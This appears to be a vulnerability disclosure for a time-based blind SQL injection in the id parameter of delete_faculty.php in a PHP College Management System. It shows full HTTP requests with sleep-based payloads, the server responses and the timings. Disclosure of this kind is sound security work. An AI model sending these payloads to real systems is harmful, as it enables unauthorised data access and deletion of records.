

SQL injection vulnerability exists in id parameter of delete\_faculty.php file of College Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 4s:

**Request**

```
1 GET /cmsa/delete_faculty.php?id=(select(0)from(select(sleep(4)))v) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmum16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:36:03 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 27
8
9 Record deleted successfully
```

Done 215 bytes | 4,069 millis

Sleep time is 8s:

**Request**

```
1 GET /cmsa/delete_faculty.php?id=(select(0)from(select(sleep(8)))v) HTTP/1.1
2 X-Requested-With: XMLHttpRequest
3 Referer: http://192.168.209.1/cmsa
4 Cookie: PHPSESSID=0hmf9amcmum16gsjs2k06ehe
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.30.1
9 Connection: Keep-alive
```

**Response**

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Fri, 10 May 2024 14:36:32 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 27
8
9 Record deleted successfully
```

Done 215 bytes | 8,003 millis

Payload: id=(select(0)from(select(sleep(8)))v)

Source Download:

<https://www.kashipara.com/project/php/12746/college-management-system-php-project-source-code>